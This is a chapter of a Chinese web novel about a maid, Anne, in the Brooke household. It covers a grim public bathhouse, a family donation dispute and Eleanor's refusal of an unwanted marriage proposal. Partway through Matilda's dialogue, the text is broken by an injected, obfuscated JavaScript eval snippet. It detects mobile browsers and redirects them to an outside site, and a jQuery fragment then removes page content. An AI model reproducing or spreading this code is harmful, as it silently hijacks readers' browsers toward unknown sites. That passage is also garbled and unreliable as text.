安妮和露西紧张地递过硬币，妇人看也不看，随手将硬币扔进一个油腻的木盒里，然后扔给她们两小块看起来比布鲁克公馆用的还要劣质的硬皂，和两条薄得几乎透光、边缘已经磨损起毛的粗布毛巾。 「进去！左边女部！别磨蹭！」妇人不耐烦地驱赶。 推开吱呀作响、漆皮剥落的木门，一股混杂着体味的热浪扑面而来，几乎让安妮晕厥。彷佛又回到了跨大西洋移民船的底舱。她想象中的独立隔间、洁净的浴盆，在这里彻底化为泡影。 眼前是一个巨大而空旷的房间，墙壁和地面都铺着布满裂纹和污渍的瓷砖。屋顶很高，悬挂着几盏昏黄的气灯，在水汽中投下摇曳不定的光影。整个空间没有任何遮挡，完全是一个大通间。 房间中央是一个巨大的、看起来像是水泥砌成的方形池子，里面是浑浊不堪、泛着灰白色泡沫的热水。几十个赤身裸体的女人，就挤在这个池子里，或者坐在池边，用水瓢从池中舀水往身上浇。 水面上，漂浮着一些看不清来源的杂质，甚至偶尔能看到一缕缕纠缠的发丝。空气里充斥着哗啦啦的水声、咳嗽声、孩子们的哭闹声、女人们高声的闲聊和抱怨，嘈杂得如同市集。安妮甚至看到一个女人正在用力搓洗着满是泥垢的脚底板，搓下来的污垢就那样消失在浑浊的水中。 这……这就是她期待已久的、能带来真正清洁的公共浴室？ 露西也惊呆了，她紧紧抓住安妮的手臂，声音带着颤抖：「安妮……这水……这比小阁楼那盆水还要……」她没再说下去，但眼神里写满了惊恐和后悔。 安妮看着那池「汤」，看着周围那些似乎已经习以为常、自在地洗浴着的女人们。一时说不出话来。 她花费了5美分，消耗了半天假期，怀抱着巨大的期待来到这里，得到的却是这样一个出乎意料、甚至比布鲁克公馆那个小隔间更让人绝望的答案。 「我们……还洗吗？」露西怯生生地问，手里那块灰暗的肥皂仿佛烫手山芋。 「洗。」安妮咬了咬下唇，声音里带着一丝决绝，「钱已经花了。」 她脱下衣服，动作迟缓而僵硬，感觉不到丝毫放松，只有一种将自己投入未知风险的悲壮和无奈。温热的水包裹住她冰冷的身体，带来的不是舒适，而是一种难以言喻的黏腻感和心理上的强烈不适。 她拿起那块劣质肥皂，用力地、几乎是带着一种愤怒地，开始搓洗自己的身体。 / 安妮和露西从公共浴室回来，两人都垂着头。 她们不像刚刚结束半天假期的放松，倒像是逃离了一个危险的场所，急切地想要回到一个熟悉安全的环境中去。布鲁克公馆那扇后门，此刻在她们眼中，竟带着一丝奇怪的的慰藉。 安妮用冷水拍了拍脸，拿起一块软布开始擦铜壶。 露西在一旁无精打采地整理着围裙，嘟囔着：“再也不去了……那五分钱，还不如买条新毛巾。”安妮没有接话，只是更用力地擦着壶身。 这时候，埃莉诺站到了仆从大厅入口。向安妮招招手，示意安妮跟她过去。 安妮放下手中的活儿，跟露西说了声「我去去就来。」随后便跟着埃莉诺上了楼。 在楼道里，埃莉诺告诉安妮，「我姑妈遇到了点小麻烦，或许我们能一起帮她出出注意。」 不用说，埃莉诺说的这位遇到小麻烦的姑妈是伊迪丝小姐。毕竟，玛蒂尔达夫人看起来不像是会问别人拿主意的人，她就是主意本身。 她们来到了伊迪丝小姐的卧房门口。她正坐在梳妆台前，手里拿着一张纸，见到她们进来，轻轻叹了口气。 「埃莉诺，你还是把安妮找来了。」她将那张纸放在台面上，「安妮，不是什么大事，只是恐怕又要听玛蒂尔达唠叨而已。」 安妮看到那是一张给女子学校的捐赠信，落款写着计划捐赠金额，五千美元。 伊迪丝用手指点了点那个数字，语气有些无奈：「我用自己的钱支持女子教育，这很好，不是吗？可我姐姐那个人，你们知道的。她若知道了，必定会说我被教堂的钟声敲昏了头，做自家人没有落到一分好处的事儿，或者嘲笑我在模仿希尔达·范德比尔特那种浮夸的慈善。」 埃莉诺拿起捐赠信，递给安妮看：「姑妈，您的初衷是好的。只是，或许我们需要让这件事听起来……更符合玛蒂尔达姑妈的喜好？」 安妮看着信纸，沉思片刻，然后谨慎地开口：「伊迪丝小姐，请允许我冒昧地问一句，对您而言，是让外界知道是‘伊迪丝·布鲁克’个人捐了这笔钱更重要，还是确保这笔钱能实实在在地帮助到那些渴望读书的女孩更重要？」 伊迪丝微微一愣，随即露出了然的微笑。「安妮，你说到关键了。」她语气温和而坚定，「圣经教导我们，『你施舍的时候，不要叫左手知道右手所做的。』我岂会在意那点虚名？我只是希望这笔钱能真正派上用场，帮助她们获得知识。」 「既然如此，」安妮向前半步，声音带着鼓励的意味，「我们何不将这份善意，转化为玛蒂尔达夫人也无法拒绝的‘体面’？我们可以说，这是‘布鲁克家族’对女子教育的支持。尤其要强调，这与范德比尔特夫人只说不做的风格完全不同，我们更注重实际效果，比如用这笔钱购置切实需要的书籍。」 埃莉诺立刻表示赞同：「这个说法太好了！通过指定捐款用途，强调我们与那些新贵的不同，做事实在。」 伊迪丝想了想，眉头渐渐舒展开来。「确实是个好主意。」她拿起笔，在一张新的信纸上流畅地书写起来，「就这么写：布鲁克家族教育慈善款，指定用于书籍购置，购置前需呈列书目清单。这样一来，钱能用到实处，玛蒂尔达也无从挑剔，反而可能觉得这事办得漂亮。」 她们刚商量妥当，门外就响起了玛蒂尔达夫人的声音：「伊迪丝，你在里面吗？」 伊迪丝迅速将原来那张捐赠信收进抽屉，把新写好的拿在手中，神情已经恢复了平日的内敛，她坐直身体，清了清嗓子，「咳。请进，玛蒂尔达。」 玛蒂尔达夫人走了进来，目光扫过房间里的三人，最后落在伊迪丝手中的纸上。「哟，伊迪丝你房间够热闹。」 「你找我什么事，玛蒂尔达。」 「你的亲亲乖乖，小宝贝，墨西哥，又在我卧房门口拉尿了！我来就是通知你一声！」谁都看得出来，玛蒂尔达夫人并不怎么生气，就是拿这事儿拿捏一下妹妹伊迪丝。 伊迪丝确实尴尬了一瞬。然后，她像是突然想起来一样，微笑着将那张信纸递过去，「正说起一件能给家里增光的事。我打算以家族的名义，为瓦萨学院购置一批书籍。姐姐你看，希尔达·范德比尔特上个月喊得响亮，却不见行动。我们布鲁克家要支持，就支持在实处。」 玛蒂尔达夫人接过纸，仔细看着。「用你自己的钱？」她抬眼问道，语气里带着质疑。 「钱不是问题，重要的是方式和名目。」伊迪丝语气平和，「用我的钱，对外只说是布鲁克家支持女子教育。而且我们指明这笔钱的用途。这样既显得我们开明，又实实在在做成了事，岂不比空谈体面得多？」 玛蒂尔达夫人沉吟片刻，指尖轻轻敲着信纸。 「嗯，」她最终开口，语气缓和不少，「想法还算周到。既然是为家族声誉考虑，那就按你说的办吧。去找施耐德，把这笔账走公账，务必处理得体。」 「不必走公账，这是我自愿的。」伊迪丝坚持。 玛蒂尔达夫人不予理会，往门外走。临出门，她还不忘回头，扫了房中三人一眼，那眼神彷佛是说，我早就看穿了你们的密谋。「伊迪丝， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479264|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许你可以省点钱，为你的小狗请个家庭教师。」 房门关上后，伊迪丝对安妮和埃莉诺露出了一个无奈的笑容。 「哎，看吧，我就说只是个小麻烦。多谢你们的主意，让这件事顺利解决。」 安妮微微屈膝，心里也为伊迪丝小姐感到高兴。 / 就在这时，小狗墨西哥，叼着一个小皮球，摇着尾巴进来了。 伊迪丝责备道，「你这个小坏蛋，怎么就爱挑玛蒂尔达的门口尿尿呢？」语气里却是宠溺。 埃莉诺弯腰摸了摸墨西哥的头，却没有像往常一样接过球逗它。她犹豫了一下，从裙子侧面的口袋里取出一张折叠整齐的信纸。 「姑妈，您的麻烦解决了，」埃莉诺轻声说，「可我这里……也收到了一点让人为难的东西。」 伊迪丝关切地问：「是什么，亲爱的？」 埃莉诺将信纸展开。「是汤姆·瑞克斯先生派人送来的。」她的声音里带着明显的为难，「一封……求婚信。」 安妮看到埃莉诺小姐蹙起的眉头无法解开，看来这件事已经在她心头压了很久了。她一直在等着个机会开口，向人寻求帮助。 伊迪丝接过信快速浏览了一遍，表情也变得有些微妙。「哦，这用词……确实过于热情了。瑞克斯先生实在是……实在是……」最终，她也没有评价汤姆·瑞克斯的为人，只是将信递还给埃莉诺，「你是怎么想的？」 「我……我不知道该怎么回应。」埃莉诺叹了口气，「我并不喜欢瑞克斯先生，但我如果直接拒绝，怕会伤了他的自尊。他一直表现得……非常坚持。」 埃莉诺转向安妮，「安妮，你如果愿意，也可以看看。」 安妮双手接过埃莉诺递来的信纸。 用金箔压边装饰的昂贵纸张上，书写着工整的字迹，一看就知道是请人代写的。辞藻华丽，犹如瑞克斯先生的诗歌。行文间，句句是爱，却处处没有埃莉诺小姐这个人，满是对婚后生活的憧憬，但好像换谁也行。初读下来，让人起了一身不适的鸡皮疙瘩。 果然是瑞克斯先生啊！ 安妮很快读完信。抬眼看到埃莉诺和伊迪丝投来的询问眼神。都在等着听她的看法。 安妮突然有了点压力。她清了清嗓子，「埃莉诺小姐，请原谅我多嘴，您认为，瑞克斯先生写这封信时，更多地是在考虑您的感受，还是沉浸在他自己设定的某种……想象里呢？」 埃莉诺没有接话，示意她继续说下去。 安妮继续分析：「一封真正为对方考虑的信，不会让收信人感到如此为难和负担。它的用词或许热烈，但更像是在陈述他自己的决心和幻想，而非询问您的意愿。这听起来更像是一厢情愿的自我感动，他似乎并未真正思考过，这是否是您所需要的。」 埃莉诺点头，显然安妮和她想的一样。墨西哥在她脚边发出呜呜的声音，仿佛在附和。 「安妮说得对，」伊迪丝点头，「爱情是神圣的，它不能是一个人的意志。感情若不能建立在两个人相互尊重之上，一方的执着只会成为另一方的枷锁。」 「可，如果我拒绝，汤姆·瑞克斯先生会不会……」 安妮想：在前世，埃莉诺这样的女孩恐怕不仅不会获得同情，还会被人骂自作自受。因为善意，不忍拒绝，还总是习惯性的精神内耗，不就是等着自己吞下苦果吗。但在这个时代生活久了，安妮明白，这就是时代要求淑女们的行为规范。无时无刻不从自己身上找原因，唯恐将过错推到绅士身上，反省自身才是美德。她们单凭自己的努力，很难突破这层思想上的辖制。 安妮想起了一句话，她说：「我听过一句话……你的一生可能都活在别人的讲述中。他们的声音铿锵有力，专制而绝对。但你从未意识到的是，你的声音也可以与他们的一样有力。」 伊迪丝回头看了眼埃莉诺，看到侄女快要湿润的眼泪。立马抓住她的手，给予宽慰和力量。 过了一会儿。埃莉诺的眼神逐渐变得坚定，她轻轻将那张信纸对折，「我明白了，我不该因为害怕伤害他的幻想而委屈自己。我有权利说出自己的真切感受。一份明确的拒绝，虽然当下可能让他失落，但远比含糊其辞、让他心存不切实际的希望要仁慈得多。」 她走到书桌旁，重新铺开一张信纸，蘸了墨水。「姑妈，我恐怕得借用你的书桌了。我现在就写回信，礼貌但清晰地表明我的态度。」 很快，埃莉诺将写好的回信装入信封，封好火漆。 她没有给伊迪丝小姐和安妮看具体的内容。两人也默契地没有上前查看。但从她书写时坚定的目光来看，她只不过把自己早就想说的话一气呵成地写了下来。她不是没有想法，她只是希望得到支持。 最后，她拿着信，脸上露出一丝迟疑，似乎对于如何送达仍有些顾虑。 「小姐，」安妮适时开口，伸出手，「我可以找靠谱的人将信送过去，并且把你的决定明确告诉对方。」 埃莉诺明显松了一口气，将信交给安妮。「谢谢你，安妮。」